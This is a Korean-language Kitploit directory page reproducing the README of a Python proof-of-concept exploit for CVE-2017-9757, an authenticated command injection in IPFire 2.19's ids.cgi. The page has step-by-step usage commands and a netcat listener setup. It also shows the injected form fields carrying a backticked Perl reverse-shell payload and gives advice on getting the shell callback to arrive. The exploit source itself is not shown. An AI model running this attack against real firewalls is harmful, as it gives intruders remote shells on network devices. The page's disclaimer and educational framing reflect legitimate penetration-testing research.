Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
IPFire_2.19_RCE_Authenticated — 이 익스플로잇은 CVE-2017-9757을 기반으로 하며, 0x09AL이 만든 원본 익스플로잇을 바탕으로 제작되었습니다. | Kitploit
도구/GitHubGitHub/joaoaugustom/ipfire_2.19_rce_authenticated
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubjoaoaugustom/ipfire_2.19_rce_authenticated

IPFire_2.19_RCE_Authenticated

이 익스플로잇은 CVE-2017-9757을 기반으로 하며, 0x09AL이 만든 원본 익스플로잇을 바탕으로 제작되었습니다.

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
112일 전아직 검토되지 않음

IPFire 2.19 OINKCODE RCE PoC

IPFire 2.19의 ids.cgi 페이지에서 OINKCODE 매개변수를 통해 발생하는 인증된 명령 주입 취약점에 대한 Python 개념 증명(PoC)입니다.

공인된 보안 테스트 및 교육용 실습 환경에서만 사용하세요. 이 PoC는 소유하고 있거나 명시적 테스트 허가를 받은 시스템에 대해서만 실행하십시오. 작성자는 이 코드로 인한 오용이나 손해에 대해 책임지지 않습니다.

취약점 개요

IPFire 2.19는 /cgi-bin/ids.cgi에서 처리되는 OINKCODE 매개변수에 OS 명령 주입 취약점이 있습니다. 이 매개변수는 적절한 중화 과정 없이 셸 명령에 포함되므로, 인증된 사용자가 IPFire 호스트에서 명령을 실행할 수 있습니다.

이 취약점은 일반적으로 CVE-2017-9757로 식별되며 **CWE-78: OS 명령에 사용되는 특수 요소의 부적절한 중화('OS Command Injection')**에 해당합니다.

원래 공개된 PoC는 IPFire 2.19 Core Update 110을 대상으로 테스트되었습니다. Metasploit 모듈은 Core Update 110까지의 IPFire 2.19 버전을 지원 검사 범위로 간주합니다.

이 PoC를 만든 이유

Exploit-DB의 원래 Python PoC는 다음을 사용하여 검증 요청을 수행합니다:

root@kitploit:~
OINKCODE = '`id`'

그런 다음 HTTP 응답에 다음이 포함된 경우에만 대상이 취약하다고 선언합니다:

root@kitploit:~
uid=99(nobody)

이 검증 방식은 신뢰할 수 없습니다. 명령이 실행되더라도 그 출력이 클라이언트로 반환되는 HTML 응답에 포함되지 않고 CGI가 구성한 셸 명령에 소비될 수 있습니다. 결과적으로 서버가 id의 출력 없이 정상적인 HTTP 200 페이지를 반환하여 위음성이 발생할 수 있습니다.

이 구현은 Metasploit 모듈에서 사용하는 검증 로직을 따릅니다:

  1. HTTP Basic Authentication으로 /cgi-bin/pakfire.cgi를 요청합니다.
  2. 응답에서 IPFire 버전과 Core Update를 추출합니다.
  3. IPFire <= 2.19 및 Core Update <= 110을 취약한 것으로 간주합니다.
  4. 명령 페이로드를 OINKCODE 필드에 담아 /cgi-bin/ids.cgi로 전송합니다.
  5. 200이 아닌 응답을 거부된 요청 또는 인증 문제로 간주합니다.
  6. HTML 본문에서 uid=99(nobody)를 확인하지 않습니다.

이 PoC는 또한 Metasploit 모듈이 지원하는 명령 페이로드 계열에 맞춰 Perl 명령 셸 페이로드를 사용합니다. HTTP 응답이 성공했다고 해서 그 자체로 리버스 셸이 연결되었음을 증명하지는 않습니다. 리스너와 네트워크 경로도 함께 확인해야 합니다.

출처 익스플로잇 간 차이점

Metasploit 모듈의 중요한 성공 기준은 예상치 못한 응답 코드가 잘못된 자격 증명 또는 거부된 요청을 나타낸다는 것입니다. 응답 본문에 주입된 명령의 출력이 포함될 필요는 없습니다.

요구 사항

  • Python 3
  • requests
  • 웹 인터페이스에 접근할 수 있는 유효한 IPFire 자격 증명
  • 대상에 Perl 인터프리터(일반적으로 perl로 제공)
  • IPFire 호스트에서 연결 가능한 리스너

Python 의존성을 설치합니다:

root@kitploit:~
python3 -m pip install requests

사용법

1. 대상 버전만 확인

root@kitploit:~
python3 ipfire_oinkcode_rce.py \
  --target 192.0.2.10 \
  --web-port 444 \
  --username admin \
  --lhost 192.0.2.20 \
  --check-only \
  --insecure

--password를 지정하지 않으면 비밀번호를 대화형으로 입력받습니다. 명령줄에 비밀번호를 직접 넣으면 셸 히스토리나 프로세스 목록에 노출될 수 있으므로 이 방법을 권장합니다.

2. 리스너 시작

--lhost 및 --lport로 지정한 주소와 포트에서 리스너를 사용하세요:

root@kitploit:~
rlwrap nc -lvnp 4444

rlwrap이 설치되어 있지 않으면 다음을 사용하세요:

root@kitploit:~
nc -lvnp 4444

3. Perl 리버스 셸 페이로드 전송

root@kitploit:~
python3 ipfire_oinkcode_rce.py \
  --target 192.0.2.10 \
  --web-port 444 \
  --username admin \
  --lhost 192.0.2.20 \
  --lport 4444 \
  --insecure

일반적인 IPFire 자체 서명 HTTPS 인증서의 경우 --insecure/-k가 필요합니다. 실습 환경에서 인증서 검증을 의도적으로 수행할 수 없는 경우에만 사용하세요.

호스트와 포트 대신 전체 URL

대상은 전체 기본 URL로도 지정할 수 있습니다:

root@kitploit:~
python3 ipfire_oinkcode_rce.py \
  --target https://192.0.2.10:444 \
  --username admin \
  --lhost 192.0.2.20 \
  --lport 4444 \
  --insecure

버전 핑거프린팅 건너뛰기

IPFire 버전을 이미 독립적으로 확인한 경우에만 사용하세요:

root@kitploit:~
python3 ipfire_oinkcode_rce.py \
  --target 192.0.2.10 \
  --web-port 444 \
  --username admin \
  --lhost 192.0.2.20 \
  --lport 4444 \
  --skip-version-check \
  --insecure

다른 Perl 경로 지정

Perl이 대상의 기본 PATH에 없으면 절대 경로를 제공하세요:

--perl-path /usr/bin/perl

명령줄 옵션

출력 해석

ids.cgi의 HTTP 200

이는 Metasploit 모듈에서 사용하는 동일한 실질 기준에 따라 CGI가 HTTP 요청을 수락했음을 의미합니다. 정상적인 HTML 응답이 반환되는 것은 예상된 동작이며, 취약점 검사가 실패했다는 증거가 아닙니다.

리스너에서 셸이 수신되는지 확인하세요. 셸이 도착하지 않으면 콜백 주소, 라우팅, 방화벽 아웃바운드 규칙, Perl 사용 가능 여부, 선택한 포트를 점검하세요.

HTTP 401 또는 HTTP 403

요청이 승인되지 않았습니다. 사용자 이름, 비밀번호, 대상 URL, 포트, 그리고 계정이 IPFire 웹 인터페이스에 접근할 수 있는지 확인하세요.

HTTP 404

대상 URL 또는 CGI 경로가 잘못되었거나, 서비스가 예상한 IPFire 웹 인터페이스가 아닐 수 있습니다.

버전 인식 실패

스크립트가 pakfire.cgi에서 예상한 버전 문자열을 찾지 못했습니다. --skip-version-check를 사용하기 전에 대상을 수동으로 확인하세요.

페이로드 전송 후 요청 시간 초과

주입된 명령이 콜백을 시도하는 동안 CGI 요청을 계속 열어 둘 수 있습니다. 이는 셸의 확정적 증거가 아니라 리스너를 확인해야 한다는 신호로 간주하세요.

기술적 요청 흐름

이 스크립트는 HTTP Basic Authentication을 사용하며 ids.cgi에 다음 양식 필드를 전송합니다:

root@kitploit:~
ENABLE_SNORT_GREEN=on
ENABLE_SNORT=on
RULES=registered
OINKCODE=`<Perl command payload>`
ACTION=Download new ruleset
ACTION2=snort

취약한 애플리케이션이 OINKCODE 값을 셸 명령에 전달하므로 명령은 백틱으로 감싸집니다. 정확한 요청 동작은 대상 버전과 해당 로컬 구성에 따라 달라집니다.

제한 사항

  • 이 도구는 완전한 익스플로잇 프레임워크가 아닌 개념 증명입니다.
  • 버전 검사는 참조된 Metasploit 모듈의 동작을 기반으로 하며, 배너가 일치하는 모든 대상이 익스플로잇 가능하다는 보장은 아닙니다.
  • 200 응답은 요청이 수락되었음을 확인할 뿐, 리버스 셸이 리스너에 도달했음을 확인하지는 않습니다.
  • Perl 페이로드는 동작하는 Perl 인터프리터와 IPFire에서 리스너까지의 네트워크 연결이 필요합니다.
  • 이 스크립트는 인증 우회나 CSRF 악용을 시도하지 않습니다. 유효한 자격 증명이 필요합니다.

참고 자료

  • NVD: CVE-2017-9757
  • Exploit-DB 42149: IPFire 2.19 원격 코드 실행
  • Exploit-DB 42369: IPFire < 2.19 Update Core 110 원격 코드 실행
  • Metasploit 모듈: ipfire_oinkcode_exec.rb
  • Metasploit Perl 명령 페이로드
  • CWE-78: OS 명령 주입

출처 표기

이 프로젝트는 0x09AL의 공개 연구 및 개념 증명과 Metasploit 커뮤니티가 유지 관리하는 Metasploit 모듈을 기반으로 한 교육용 Python 구현입니다. IPFire, Exploit-DB, Rapid7과 제휴하거나 보증하지 않습니다.

도구 다운로드
FeatureExploit-DB 42149 Python PoCExploit-DB 42369 / MetasploitThis PoC
취약한 엔드포인트/cgi-bin/ids.cgi/cgi-bin/ids.cgi/cgi-bin/ids.cgi
버전 검사없음GET /cgi-bin/pakfire.cgiMetasploit 방식과 동일한 검사
인증기본 인증Basic Auth 헤더requests.Session을 통한 기본 인증
초기 검증`id`를 실행하고 응답 본문 검색버전을 확인한 뒤 페이로드 전송버전을 확인하고 HTTP 결과 코드 사용
위음성 위험높음: uid=99(nobody)가 반영되는지에 의존본문 콘텐츠 검증 회피본문 콘텐츠 검증 회피
리버스 셸Bash /dev/tcpMetasploit Unix 명령 페이로드Perl IO::Socket::INET 명령 셸
TLS 처리PoC에서 인증서 검증 비활성화SSL이 기본적으로 활성화됨-k/--insecure로만 검증 비활성화
구성소스에서 값을 직접 편집Metasploit 옵션명령줄 인자
OptionDefaultDescription
-t, --target필수대상 호스트/IP 또는 전체 기본 URL
--schemehttps대상이 호스트/IP만으로 주어질 때 사용하는 스킴
--web-port444IPFire 웹 인터페이스 포트
-u, --usernameadminIPFire 사용자 이름
-p, --password프롬프트비밀번호. 생략하면 에코 없이 입력
--lhost필수IPFire에서 연결 가능한 리스너 주소
--lport4444리스너 포트
--perl-pathperl대상에서의 Perl 실행 파일
--timeout10HTTP 타임아웃(초)
-k, --insecure비활성화TLS 인증서 검증 비활성화
--skip-version-check비활성화pakfire.cgi 검사 건너뛰기
--check-only비활성화버전 검사만 수행